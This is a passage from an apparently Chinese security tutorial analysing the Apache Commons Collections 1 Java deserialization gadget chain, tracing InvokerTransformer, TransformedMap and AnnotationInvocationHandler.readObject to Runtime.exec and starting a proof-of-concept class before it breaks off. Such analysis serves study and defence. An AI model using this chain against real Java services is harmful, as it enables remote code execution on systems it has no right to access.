117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> FunctorException(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;InvokerTransformer: The method \&#39;&#34;</span> + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iMethodName + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#39; on \&#39;&#34;</span> + input.getClass() + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#39; cannot be accessed&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>            } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (InvocationTargetException var6) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> FunctorException(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;InvokerTransformer: The method \&#39;&#34;</span> + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iMethodName + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#39; on \&#39;&#34;</span> + input.getClass() + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#39; threw an exception&#34;</span>, var6);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>            }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">注意InvokerTransformer类的构造参数，分别是想要调用的方法名，参数的类型数组，以及参数数组。<br/>构造方法中只是将这几个参数保存到了成员变量中，然后在transform方法中，通过传入的对象用反射调用的方式调用构造函数中传入的方法。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">调用链总结</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">看到这里，是否有一种豁然开朗的感觉？<br/>接下来对这一段Demo进行一个调用链总结：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">TransformedMap</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.put</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">ChainedTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.transform</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">ChainedTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.transformValue</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">ChainedTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.transform</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">ConstantTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.transform</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">InvokerTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.transform</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Runtime</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.exec</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">到这里相信大家对上面的Demo原理已经了解了，但是现在有一个问题，我们在本机执行是可以执行代码了，但是怎么反序列化漏洞中来利用这个利用链呢？<br/>通过上面的调用链总结可以看出，这一套调用链主要是围绕着Transformer接口的transform方法的，所以说要找到一个在readObject方法中能调用transform方法的地方。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">AnnotationInvocationHandler类</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">AnnotationInvocationHandler类就是满足上面要求的一个类，首先我们来看一下这个类的构造函数：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>    AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; var1, Map&lt;String, Object&gt; var2) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>        Class[] var3 = var1.getInterfaces();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span>(var1.isAnnotation() &amp;&amp; var3.length == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span> &amp;&amp; var3[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>] == Annotation.class) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.type = var1;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.memberValues = var2;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>        } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> AnnotationFormatError(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Attempt to create proxy for a non-annotation type.&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">8</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">9</span>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到构造函数有两个参数，第一个参数是继承自Annotation的类的Class对象，第二个参数是一个Map。<br/>将参数1保存在了type变量中，将参数2保存在了memberValues变量中。<br/>接下来看一下readObject方法：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">private</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">readObject</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(ObjectInputStream var1)</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throws</span> IOException, ClassNotFoundException </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>        var1.defaultReadObject();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>        AnnotationType var2 = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">try</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>            var2 = AnnotationType.getInstance(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.type);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>        } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (IllegalArgumentException var9) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvalidObjectException(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Non-annotation type in annotation serial stream&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>        Map var3 = var2.memberTypes();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>        Iterator var4 = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.memberValues.entrySet().iterator();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">while</span>(var4.hasNext()) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>            Entry var5 = (Entry)var4.next();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>            String var6 = (String)var5.getKey();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>            Class var7 = (Class)var3.get(var6);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span>(var7 != <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>                Object var8 = var5.getValue();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span>(!var7.isInstance(var8) &amp;&amp; !(var8 <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">instanceof</span> ExceptionProxy)) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>                    var5.setValue((<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> AnnotationTypeMismatchExceptionProxy(var8.getClass() + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;[&#34;</span> + var8 + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;]&#34;</span>)).setMember((Method)var2.members().get(var6)));<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>                }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span>            }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">重点主要在这一部分：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.21944444444444444" src="https://wechat2rss.xlab.app/img-proxy/?k=fda30287&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkj1hF5u58P8t3ecx62APyvIaqIDmeB5f6TeptQF2UQ9q425YmbuxIfw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图3</figcaption></figure><br/>通过上面的构造函数可以看出，memberValues保存的就是我们需要传入的Map对象，这里调用了Map.entrySet()，entrySet方法会返回一个Set集合，然后通过iterator获取一个迭代器遍历这个集合。集合中的数据就是一个Entry,Entry中是我们的键值对。<br/>然后在调用Entry.setValue来设置数据。<br/>所以这里要看一下setValue是怎么实现的，直接在IDEA里go to declaration发现是map接口中定义的，所以要在实现类中去找。<br/>我们传入的类是TransformedMap类型的，所以就去TransformedMap找setValue方法。<br/>但是发现TransformedMap类中没有setValue方法，接着去TransformedMap的父类AbstractInputCheckedMapDecorator找。在这里发现如下代码：<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.18796296296296297" src="https://wechat2rss.xlab.app/img-proxy/?k=aa835f6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkicB9gw0hP0iadns38HjjV5EmAdE38yzkjenjbjianGMfvRAvBZmdAXzJA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图4</figcaption></figure><br/>可以看到setValue在AbstractInputCheckedMapDecorator.MapEntry中定义。setValue调用了parent.checkSetValue方法。而parent通过上面的构造函数可以看到是一个父类对象，所以我们去看一下TransformedMap类中是否有checkSetValue方法：<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><br/></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">protected</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">checkSetValue</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object value)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.valueTransformer.transform(value);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到TransformedMap类中定义了checkSetValue方法，而checkSetValue方法调用了valueTransformer.transform方法。这就和我们之前执行的put一个效果了，可以直接触发我们精心构造的利用链。<br/>这里有点绕，如果对这一块不明白可以自己调试一下看看。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">尝试构造新的POC</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">了解了AnnotationInvocationHandler类之后，我们用刚才的TransformedMap对象构造一个AnnotationInvocationHandler对象，然后序列化AnnotationInvocationHandler对象，这时候会发现报错了，原因是Runtime对象无法序列化，因为没实现Serializable接口，所以这时候要通过反射调用，更改后的代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">package</span> Commoncollections1;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.Transformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.ChainedTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 